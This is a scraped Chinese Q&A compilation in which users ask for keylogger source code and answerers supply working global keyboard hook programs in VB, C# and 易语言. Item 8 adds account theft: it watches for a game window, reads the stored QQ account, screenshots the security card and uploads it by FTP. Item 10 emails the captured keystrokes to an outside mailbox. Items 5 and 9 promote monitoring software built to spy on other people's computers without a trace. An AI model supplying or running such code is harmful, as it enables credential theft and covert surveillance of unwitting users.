键盘记录源码
1. 高手进,求一个键盘记录程序源代码,最好是用VB或C语言写的,其它语言编写的也行。谢谢各位
VB还是不难的。创建一个窗体,加上两个text1,2 '在窗体中 Private Sub Form_Load() hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0) End Sub Private Sub Form_Unload(Cancel As Integer) UnhookWindowsHookEx hHook End Sub '在模块中 Option Explicit Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long) Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Const WH_KEYBOARD = 2 Public Const WH_KEYBOARD_LL = 13 Public Const HC_ACTION = 0 Public Const HC_SYSMODALOFF = 5 Public Const HC_SYSMODALON = 4 Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_SYSKEYDOWN = &H104 Public Const WM_SYSKEYUP = &H105 Public Const WM_SYSCHAR = &H106 Public Const WM_SYSCOMMAND = &H112 Public Type KEYMSGS vKey As Long '虚拟码 (and &HFF) sKey As Long '扫描码 flag As Long '键按下:128 抬起:0 time As Long 'Window运行时间 End Type Public keyMsg As KEYMSGS '键盘消息 Public hHook As Long '创建的钩子的句柄 Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim lKey As Long Dim strKeyName As String * 255 Dim strLen As Long If idHook = HC_ACTION Then CopyMemory keyMsg, lParam, LenB(keyMsg) Select Case wParam Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP '判断是否为键盘消息 lKey = keyMsg.sKey And &HFF '扫描码 lKey = lKey * 65536 '将扫描码左移16位,使位0~15置0 If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then strLen = GetKeyNameText(lKey, strKeyName, 250) '获取该按键的名称 Else strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24为增强型键盘上的扩展位 End If Form1.Text1.Text = keyMsg.vKey '将按键存放到text1中,当然你修改可以自己改这里。 Form1.Text2.Text = Left(strKeyName, strLen) End Select End If CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一个钩子 End Function
2. 用C#做键盘敲击次数记录求代码
以下是整理源码。
static int hKeyboardHook = 0; //键盘钩子句柄
public const int WH_KEYBOARD_LL = 13; //处理键盘消息
private const int WM_KEYDOWN = 0x100;//键盘按下
//声明键盘钩子事件类型.
HookProc KeyboardHookProcere;
//声明键盘钩子的封送结构类型
[StructLayout(LayoutKind.Sequential)]
public class KeyboardHookStruct
{
public int vkCode; //表示一个在1到254间的虚似键盘码
}
//装置钩子的函数
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
//卸下钩子的函数
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
//下一个钩挂的函数
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
[DllImport("kernel32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetMoleHandle(string lpMoleName);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
//先前按下的键
public List<Keys> preKeys = new List<Keys>();
int b;
//析构函数.
~Form1()
{
Stop();
}
public void Start()
{
//安装键盘钩子
if (hKeyboardHook == 0)
{
KeyboardHookProcere = new HookProc(KeyboardHookProc);
Process curProcess = Process.GetCurrentProcess();//获取新的 Process 组件并将其与当前活动的进程关联
ProcessMole curMole = curProcess.MainMole;
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcere, GetMoleHandle(curMole.MoleName), 0);
if (hKeyboardHook == 0)
{
Stop();
throw new Exception("SetWindowsHookEx ist failed.");
}
b = 0;
}
}
public void Stop()
{
bool retKeyboard = true;
if (hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
//如果卸下钩子失败
if (!(retKeyboard)) throw new Exception("UnhookWindowsHookEx failed.");
}
int num = 0;//记录次数
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (wParam == WM_KEYDOWN)
{
KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
preKeys.Add(keyData);
num++;
label1.Text = Convert.ToString(num);
b = 1;
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
private void Form1_Load(object sender, EventArgs e)
{
Start();
}
3. 易语言键盘记录源码问题。
用模块搞这些东西简单多了, FindWindowA是查找窗口句柄,返回0说明进程结束, IsWindow判断窗口句柄是否有效, GetAsyncKeyState(键代码)返回-32767表示测试键按下,可用循环监视键盘按下,做记录用。键盘记录方法很多,但是一般放到号软件会加密
4. 易语言编写键盘记录器 源码 说的详细点
.程序集
窗口程序集1
.程序集变量
钩子,
类_钩子
.子程序
__启动窗口_创建完毕
模块注册
()
.子程序
_按钮1_被单击
.局部变量
返回,
逻辑型
返回
=
钩子_安装键盘钩子
(&键盘接口,
0)
信息框
(“全局钩子已经安装成功!”,
0,
“提示”)
编辑框1.内容
=
“”
.子程序
键盘接口,
逻辑型
.参数
虚拟键码,
整数型
.参数
扫描键码,
整数型
.参数
键盘弹起,
逻辑型
.判断开始
(键盘弹起)
.默认
编辑框1.加入文本
(取键名
(扫描键码))
.判断结束
返回
(真)
.子程序
_按钮2_被单击
钩子.卸载所有钩子
()
.子程序
__启动窗口_将被销毁
_启动窗口.销毁
()
如果认为不详细,留下邮箱,我把代码传给你
5. 本地键盘记录源码(易语言的)
您说的这个也许是太麻烦了。
键盘记录器,我使用的是电脑监控专家。
电脑监控专家不仅可以记录所有的键盘输入,进行QQ聊天,MSN聊天记录的查看和上网监控,并且对电脑屏幕进行定时拷屏,对打开窗口和浏览的网站进行记录。
你还可以禁止打开指定的窗口和程序、禁止运行聊天软件,下载软件(迅雷、BT等)和游戏软件等。如果尝试打开或运行这些被你禁止的窗口和程序会被立即关闭并记录下来。
另外,软件还可以把所有监控的信息(键盘输入记录,屏幕截图等)发送到你指定的邮箱,让你轻松实现网络监控。本软件安装后,不留任何痕迹,并且采用热键启动的办法,让你在神不知,鬼不觉的情况下监控你想监控的电脑。
这款软件你觉得怎么样,如果觉得可以你现在就可以在网络上搜索电脑监控专家然后下载试用。
6. 易语言做键盘记录器的源码
易语言做键盘记录器的源码如下:
程序集
窗口程序集1
子程序
__启动窗口_创建完毕
SkinH_Attach
()
编辑框1禁止
=
真
停止按钮禁止
=
真
信息框
(“欢迎使用小天键盘记录系统,在关闭此记录系统后,会自动保存记录的内容到运行目录!”,
#信息图标,
“欢迎使用!”)
子程序
_停止按钮_被单击
开始按钮禁止
=
假
编辑框1禁止
=
真
时钟1时钟周期
=
0
停止按钮禁止
=
真
子程序
_开始按钮_被单击
开始按钮禁止
=
真
编辑框1禁止
=
假
时钟1时钟周期
=
50
停止按钮禁止
=
假
子程序
_时钟1_周期事件
编辑框1加入文本
(看看按键
())
子程序
_按钮1_被单击
编辑框1内容
=
“
”
子程序
__启动窗口_可否被关闭,
逻辑型
写到文件
(取运行目录
()
+
“\记录内容txt”,
到字节集
(编辑框1内容))
销毁
()
子程序
_按钮2_被单击
删除文件
(取运行目录
()
+
“\记录内容txt”)
7. 键盘记录器源代码
'模块部分
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化数据
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
pos1 = Split(SBUF, "|"): ReDim pos2$(256)
For i = 0 To UBound(pos1) - 1
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)
Next
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
appStr = appStr & pos2(mymsg.vKey) & " "
End If 'FOR循环和判断结构完全去掉了,取而代之的是一个已经定义好的对应数组
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'窗体部分
Private Sub form_Load()
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"
Mole1.ints '初始化数据
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出时
Open "D:\getkey.txt" For Append As #1 '打开文本
Print #1, Mole1.appStr '一次性记录
Print #1, "到" & Now() & "结束!" & vbCrLf
Close #1
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub
8. 求大神给个易语言键盘记录器源码、
要一个 键盘记录_模块.ec 易语言的控件有一个编辑框,2个按钮,3个时钟!!3个时钟的名字要改一下“判断开始记录” “记录键盘” “结束检查时钟”
.版本 2
.程序集 窗口程序集1
.程序集变量 数组, 文本型, , "0"
.程序集变量 记事本, 文本型
.程序集变量 记录文本, 文本型
.程序集变量 账号信息, 文本型
.程序集变量 文件名, 文本型
.程序集变量 FTP路径, 文本型
.程序集变量 路径, 文本型
.子程序 _按钮2_被单击
判断开始记录.时钟周期 = 1000
记录键盘.时钟周期 = 0
结束检查时钟.时钟周期 = 0
.子程序 _判断开始记录_周期事件
.子程序 _记录键盘_周期事件
记录文本 = 记事本 + 获得按键 ()
.子程序 __周期事结束检查时钟_周期事件
.局部变量 a, 整数型
a = 0
数组=取所有窗口列表()
.计次循环首 (取数组成员数 (数组),已经运行)
.如果(寻找文本(取窗口标题(到整数(数组[已经运行])),“地下城与勇士”,,真)< 0)
a = 1
.否则
a = 0
跳出循环 ()
.如果结束
.计次循环尾 ()
.如果真 (a = 1)
记录键盘.时钟周期=0
读账号信息()
记录文本 = “”
判断开始记录.时钟周期=1000
结束检查时钟.时钟周期=0
.如果真结束
.子程序 读账号信息
.局部变量 账号, 文本型
.局部变量 区, 文本型
区 = 读配置项 (路径 + “UserSetting.ini”, “ServerSelection”, “LastSelectName”, )
账号 = 读配置项 (路径 + “config/Info.ini”, “Public”, “LastQQUin”, )
编辑框1.内容 = 区 + “----” + 账号 + “-----” + 记录文本 + #换行符
.子程序 取进程路径, 文本型
.子程序 _按钮1_被单击
.局部变量 截取密保卡, 字节型
截取密保卡 = 快照 (, , )
写到文件 (“D\DNF\1.jpg”, 截取密保卡)
.如果(连接FTP服务器(“FTP控件IP地址”,“FTP账号”,“FTP密码”,21,)=真)
信息框 (“FTP服务器连接成功”, 0, )
.否则
信息框 (“FTP服务器连接失败”, 0, )
返回 ()
.如果结束
FTP路径=FTP取现行目录()+“/123.jpg”
.如果(FTP文件上传(“D\DNF\1.jpg”,“DNF\520.jpg”)=真)
信息框 (“FTP文件上传成功”, 0, “恭喜”)
.否则
信息框 (“FTP文件上传失败”, 0, “注意”)
.如果结束
断开FTP服务器()
9. 键盘记录器的源码
这个我不会。
监控键盘记录,我使用的是电脑监控专家。
1、电脑监控专家可以将电脑操作过中的所有步骤和细节以邮件方式或者实时截图方式并保存在指定的文件夹中;
2、不论是电脑中文件使用编辑,应用程序或软件使用进程还是操作时的每一个步骤;
3、不论是键盘上的每一个文字符号输入,还是桌面屏幕上的每一个聊天窗口或浏览网页,所有这些活动都将在文件中一一再现 。
你可以到网络上搜索电脑监控专家下载试用解决您的这个问题。
10. 求易语言 键盘记录源码并自动发送到邮箱
.版本
2
.支持库
spec
.支持库
internet.程序集
窗口程序集1
.程序集变量
钩子,
类_钩子.子程序
__启动窗口_创建完毕时钟1.时钟周期
=
1000
.子程序
_按钮1_被单击
.局部变量
返回,
逻辑型返回
=
钩子_安装键盘钩子
(&键盘接口,
0)
编辑框1.内容
=
“”
.子程序
键盘接口
.参数
虚拟键码,
整数型
.参数
扫描键码,
整数型
.参数
键盘弹起,
逻辑型.判断开始
(键盘弹起).默认
编辑框1.加入文本
(取键名
(扫描键码)).判断结束
.子程序
_时钟1_周期事件.如果
(时钟1.时钟周期
≠
0)
_按钮1_被单击
()
时钟1.时钟周期
=
0.否则
延迟
(10000)
连接发信服务器
(“smtp.qq.com”,
,
“[email protected]”,
“123123”,
)
'
假设我的密码是123123
发送邮件
(“键盘记录器”,
编辑框1.内容,
“[email protected]”,
,
,
“[email protected]”,
).如果结束
.子程序
_按钮2_被单击钩子.卸载所有钩子
()
信息框
(“卸载成功”,
#信息图标,
“提示:”)
_启动窗口.销毁
()
.子程序
_按钮3_被单击通用对话框1.打开
()
写到文件
(“记录文件”,
到字节集
(编辑框1.内容)) ==========================代码如上============================团队的补充
2011-09-05
20:55
希望你的加入,一同学习,共同进步具体:
http://wenwen.soso.com/z/q316069690.htm谢谢采纳